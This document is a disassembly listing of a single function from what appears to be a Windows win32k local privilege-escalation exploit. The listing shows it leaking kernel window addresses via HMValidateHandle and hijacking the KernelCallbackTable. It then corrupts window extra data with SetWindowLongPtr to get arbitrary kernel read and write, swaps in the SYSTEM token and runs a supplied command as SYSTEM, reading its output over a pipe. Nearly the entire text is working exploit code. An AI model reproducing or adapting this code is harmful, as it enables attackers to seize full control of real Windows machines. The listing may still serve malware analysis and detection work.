Function at 0x140001630
Capabilities:
Allocate or change rwx memory
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute shellcode via indirect call
Read file on windows
Set registry value

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0xc1a0]
mov eax, 0xc2a0
call fcn.14001a420
sub rsp, rax
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp + 0xc180], rax
lea rcx, str.pause
mov qword [rsp + 0x70], rdx
call fcn.14000a748
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14000168a
lea rcx, str.Failed_to_load_user32
jmp 0x1400016d2
lea rdx, str.IsMenu
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x1400016ab
lea rcx, str.Failed_to_find_location_of_exported_function_IsMenu_within_user32.dll_n
jmp 0x1400016d2
xor r12d, r12d
mov rcx, rdx
mov eax, r12d
inc eax
cmp byte [rcx], 0xe8
je 0x1400016c7
inc rcx
cmp eax, 0x1000
jb 0x1400016b4
jmp 0x1400016cb
test eax, eax
jne 0x1400016ed
lea rcx, str.Failed_to_find_offset_of_HMValidateHandle_from_location_of_IsMenu_n
call fcn.1400021e0
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
call fcn.1400021e0
mov eax, 1
jmp 0x14000214b
mov ecx, dword [rax + rdx]
sub ecx, edi
mov qword [rsp + 0xc2c0], rbx
add ecx, edx
mov qword [rsp + 0xc2d0], rsi
mov qword [rsp + 0xc2d8], r13
add rdi, 0xb
add rcx, rdi
mov qword [rsp + 0xc298], r14
mov qword [0x140027dc0], rcx
lea rcx, str.win32u.dll
mov qword [rsp + 0xc290], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserConsoleControl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140027d68], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCallbackReturn
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140027d60], rax
lea r9, [rbp + 0xd0]
mov rax, qword gs:[0x60]
mov edx, 0x300
mov r8d, 0x40
mov rdi, qword [rax + 0x58]
mov rax, qword [rdi + 0x3d8]
lea rcx, [rdi + 0x3d8]
mov qword [0x140027db8], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, section..text
mov edx, 0x300
mov qword [rdi + 0x3d8], rax
lea r9, [rbp + 0xd0]
mov r8d, dword [rbp + 0xd0]
lea rcx, [rdi + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call fcn.140006010
mov rcx, rax
call fcn.14000a8bc
call fcn.14000a890
mov edi, eax
mov qword [rbp + 0x38], r12
mov eax, 0x80808081
mov dword [rbp - 0x10], 0x50
imul edi
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x20], xmm1
mov dword [rbp - 0xc], 3
add edx, edi
mov dword [rbp], r12d
sar edx, 7
mov ecx, edx
mov dword [rbp + 4], 0x20
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub edi, ecx
xor ecx, ecx
lea eax, [rdi + 0x1234]
cdqe
or rax, 1
mov qword [0x140027db0], rax
lea rax, [0x140001110]
mov qword [rbp - 8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rcx, [rbp - 0x10]
lea rax, str.normalClass
mov qword [rbp + 0x30], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, dword [0x140027db0]
movzx r14d, ax
lea rax, str.magicClass
mov qword [rbp + 0x30], rax
mov dword [rbp + 4], ecx
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov word [rsp + 0x60], ax
call qword [sym.imp.USER32.dll_CreatePopupMenu]
mov edx, 0x200
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0x30
mov rsi, rax
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 4
mov rdi, rax
lea ecx, [rdx + 0x3c]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0xa0
mov rbx, rax
lea ecx, [rdx - 0x60]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 8
mov r13, rax
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [rdi + 0x2c], 0x10
lea rcx, str.CreateWnd_r_n
mov dword [rsi], 0x88888888
mov qword [rsi + 0x28], rdi
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x44], 1
mov qword [rsi + 0x58], rax
mov qword [rbx + 8], 0x10
mov qword [rbx], rsi
mov qword [r13 + 0x98], rbx
mov qword [0x140027da0], rax
call fcn.1400021e0
xorps xmm0, xmm0
mov qword [rbp - 0x30], r12
xorps xmm1, xmm1
mov qword [rbp - 0x28], r12
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x20], r12
mov r15d, 0xa
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp - 0x18], r12
mov rsi, r12
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm1
movups xmmword [rbp + 0x140], xmm1
movups xmmword [rbp + 0x150], xmm1
movups xmmword [rbp + 0x160], xmm1
movups xmmword [rbp + 0x170], xmm1
nop word [rax + rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.USER32.dll_CreateMenu]
mov qword [rsp + 0x58], r12
lea r8, str.somewnd
mov qword [rsp + 0x50], rdi
mov r9d, 0x8000000
mov qword [rsp + 0x48], rax
mov rdx, r14
mov qword [rsp + 0x40], r12
mov ecx, r9d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + rsi + 0x130], rax
mov edx, 1
mov rdi, rax
call qword [0x140027dc0]
mov rdx, rdi
lea rcx, str.Hwnd:_08x___qwfirstEntryDesktop_p_r_n
mov r8, rax
mov qword [rbp + rsi + 0xe0], rax
mov rbx, rax
call fcn.1400021e0
mov r8d, 0x30
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov r8, qword [rbp - 0x28]
lea rcx, str.BaseAddress:_p___RegionSize:_p_r_n
mov rdx, qword [rbp - 0x40]
call fcn.1400021e0
mov rdx, qword [0x140027d80]
mov rax, qword [rbp - 0x40]
test rdx, rdx
je 0x140001a74
cmp rdx, rax
jb 0x140001a89
mov rdx, rax
mov qword [0x140027d80], rax
mov rax, qword [rbp - 0x28]
mov qword [0x140027d78], rax
add rsi, 8
sub r15, 1
jne 0x1400019b0
mov r8, qword [0x140027d78]
lea rcx, str.Min_BaseAddress:_p___RegionSize:_p_r_n
call fcn.1400021e0
mov rax, qword [rbp + 0xe0]
mov rcx, r12
mov edi, dword [rax + 8]
mov rax, qword [rbp + 0xe8]
mov edx, dword [rax + 8]
cmp edx, edi
sbb r8, r8
and r8d, 8
cmp edi, edx
mov edi, 2
mov rax, qword [rbp + r8 + 0x130]
mov rsi, qword [rbp + r8 + 0xe0]
mov qword [rbp - 0x70], rax
mov eax, 8
cmovbe rcx, rax
mov rax, qword [rbp + rcx + 0x130]
mov rbx, qword [rbp + rcx + 0xe0]
mov qword [0x140027d98], rax
mov eax, dword [rsi + 8]
mov dword [0x140027d70], eax
mov r12d, dword [rbx + 8]
mov dword [rsp + 0x64], r12d
nop word [rax + rax]
mov rcx, qword [rbp + rdi*8 + 0x130]
call qword [sym.imp.USER32.dll_DestroyWindow]
inc rdi
cmp rdi, 0xa
jl 0x140001b20
mov r8d, 0x10
lea rdx, [rbp - 0x70]
lea ecx, [r8 - 0xa]
call qword [0x140027d68]
mov eax, dword [rbx + 0x128]
xor ecx, ecx
mov esi, dword [rsi + 0x128]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.USER32.dll_CreateMenu]
movzx edx, word [rsp + 0x60]
lea r8, str.somewnd
xor r15d, r15d
mov r9d, 0x8000000
mov qword [rsp + 0x58], r15
mov ecx, r9d
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdx, rax
mov qword [rsp + 0x78], rax
lea rcx, str.realMagicHwnd_p_n
mov r14, rax
call fcn.1400021e0
mov r8d, dword [0x140027d70]
mov edx, 0x128
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, eax
lea rcx, str.dwRet_p_r_n
call fcn.1400021e0
mov edx, esi
lea rcx, str.tagWndMin_offset_0x128_p_r_n
call fcn.1400021e0
mov edx, 0xc8
mov r8d, 0xfffffff
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov r8, qword [rbx + 0x18]
mov edx, r12d
sub edx, dword [0x140027d70]
movabs rax, 0x4000000000000000
mov rcx, qword [rbp - 0x70]
add edx, 0x18
mov qword [0x140027d90], r8
xor r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140027d98]
lea edx, [r15 - 0xc]
mov r8, r13
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rdx, rax
mov qword [0x140027da8], rax
lea rcx, str.g_qwExpLoit_p_r_n
call fcn.1400021e0
mov r14, qword [0x140027da8]
mov edx, r12d
sub edx, dword [0x140027d70]
mov r8, qword [0x140027d90]
add edx, 0x18
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x78], r14
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140027da8]
add rcx, 0x50
call fcn.140001140
mov rdx, rax
lea rcx, str.qwFrist_read_p_r_n
mov rbx, rax
call fcn.1400021e0
lea rcx, [rbx + 0x18]
call fcn.140001140
mov rdi, rax
mov rdx, rax
lea rcx, str.qwSecond_read_p_r_n
call fcn.1400021e0
lea rcx, [rdi + 0x80]
call fcn.140001140
mov rdx, rax
mov qword [rbp - 0x80], rax
lea rcx, str.qwSecond_read_p_r_n
call fcn.1400021e0
lea rcx, [rbx + 0x10]
call fcn.140001140
mov rdx, rax
lea rcx, str.qwFourth_read_p_r_n
mov rdi, rax
call fcn.1400021e0
mov rcx, rdi
call fcn.140001140
mov rdx, rax
lea rcx, str.qwFifth_read_p_r_n
mov rdi, rax
call fcn.1400021e0
lea rcx, [rdi + 0x220]
call fcn.140001140
mov rdx, rax
lea rcx, str.qwSixth_read_p_r_n
mov rdi, rax
call fcn.1400021e0
mov r13, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r12d, eax
xor ebx, ebx
nop
test r15, r15
je 0x140001d5a
test rbx, rbx
jne 0x140001d9f
lea rcx, [rdi + 0x2e8]
call fcn.140001140
lea rsi, [rdi + 0x360]
mov r14, rax
cmp eax, 4
jne 0x140001d80
mov rcx, rsi
call fcn.140001140
mov r15, rax
cmp r14d, r12d
lea rcx, [rdi + 0x2f0]
cmove rbx, rsi
call fcn.140001140
lea rdi, [rax - 0x2f0]
cmp r13, rdi
jne 0x140001d50
mov r12d, dword [rsp + 0x64]
mov r8, rbx
mov rcx, qword [rbp - 0x70]
mov edx, r12d
sub edx, dword [0x140027d70]
add edx, 0x128
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140027d98]
mov r8, r15
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
xor edx, edx
lea rcx, [rbp + 0x2180]
mov r8d, 0xa000
call fcn.140003220
xor eax, eax
lea rdi, [rbp + 0x60]
xor esi, esi
lea r8, [rbp - 0x58]
mov ecx, 0x68
lea rdx, [rbp - 0x60]
rep stosb byte [rdi], al
lea rdi, [rbp + 0x40]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x58]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x58], 0x18
xor r9d, r9d
mov qword [rbp - 0x50], rsi
mov edi, esi
mov dword [rbp - 0x48], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov r15, qword [rsp + 0xc290]
mov r14, qword [rsp + 0xc298]
mov r13, qword [rsp + 0xc2d8]
test eax, eax
jne 0x140001e58
lea eax, [rsi - 3]
jmp 0x14000213b
mov rbx, qword [rsp + 0x70]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM_n
mov rdx, qword [rbx + 8]
call fcn.140002170
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rbp - 0x60]
lea rcx, [rbp + 0x180]
mov qword [rbp + 0xc0], rax
xor edx, edx
mov qword [rbp + 0xb8], rax
mov r8d, 0x2000
lea rax, str.WinSta0Default
mov word [rbp + 0xa0], si
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x9c], 0x101
call fcn.140003220
mov rdx, qword [rbx + 8]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x180]
lea rax, [rbp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp - 0x60]
test eax, eax
jne 0x140001f44
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessW_Failed___lx__n
call fcn.1400021e0
mov eax, 0xfffffffe
jmp 0x14000213b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp + 0x50]
lea rcx, str.___ProcessCreated_with_pid__d__n
call fcn.1400021e0
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0xd4]
mov r8d, 0xfa0
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x2180]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001fb3
add edi, dword [rbp + 0xd4]
lea rdx, [rbp + 0x2180]
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0xd4]
movsxd rax, edi
mov r8d, 0xfa0
add rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001f80
lea rcx, [0x1400238d8]
call fcn.14000a9bc
lea rcx, [rbp + 0x2180]
call fcn.14000a9bc
mov ecx, 1
call fcn.1400061a4
mov rcx, rax
call fcn.14000aeec
mov ecx, 2
call fcn.1400061a4
mov rcx, rax
call fcn.14000aeec
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
mov edx, 1
call qword [0x140027dc0]
mov rsi, qword [rbp - 0x80]
mov edx, r12d
sub edx, dword [0x140027d70]
mov rdi, rax
movabs rax, 0x80000000000
add edx, 0x128
lea r8, [rsi + 0x128]
mov ecx, dword [rdi + 8]
mov rbx, qword [rdi + 0xe0]
add r8, rcx
mov rcx, qword [rbp - 0x70]
xor rbx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140027d98]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov eax, dword [rdi + 8]
lea r8, [rsi + 0xe0]
mov rcx, qword [rbp - 0x70]
mov edx, r12d
sub edx, dword [0x140027d70]
add r8, rax
add edx, 0x128
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140027d98]
mov r8, rbx
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [0x140027d90]
mov edx, r12d
sub edx, dword [0x140027d70]
movabs rax, 0x4000000000000000
mov rcx, qword [rbp - 0x70]
add edx, 0x18
xor r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp - 0x78]
mov edx, 0xfffffff4
mov rcx, qword [0x140027d98]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [0x140027d90]
mov edx, r12d
sub edx, dword [0x140027d70]
mov rcx, qword [rbp - 0x70]
add edx, 0x18
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
sub r12d, dword [0x140027d70]
mov r8d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x70]
lea edx, [r12 + 0x128]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8d, dword [rsp + 0x6c]
mov edx, 0x128
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
lea rcx, str.pause
call fcn.14000a748
xor eax, eax
mov rbx, qword [rsp + 0xc2c0]
mov rsi, qword [rsp + 0xc2d0]
mov rcx, qword [rbp + 0xc180]
xor rcx, rsp
call fcn.140002250
add rsp, 0xc2a0
pop r12
pop rdi
pop rbp
ret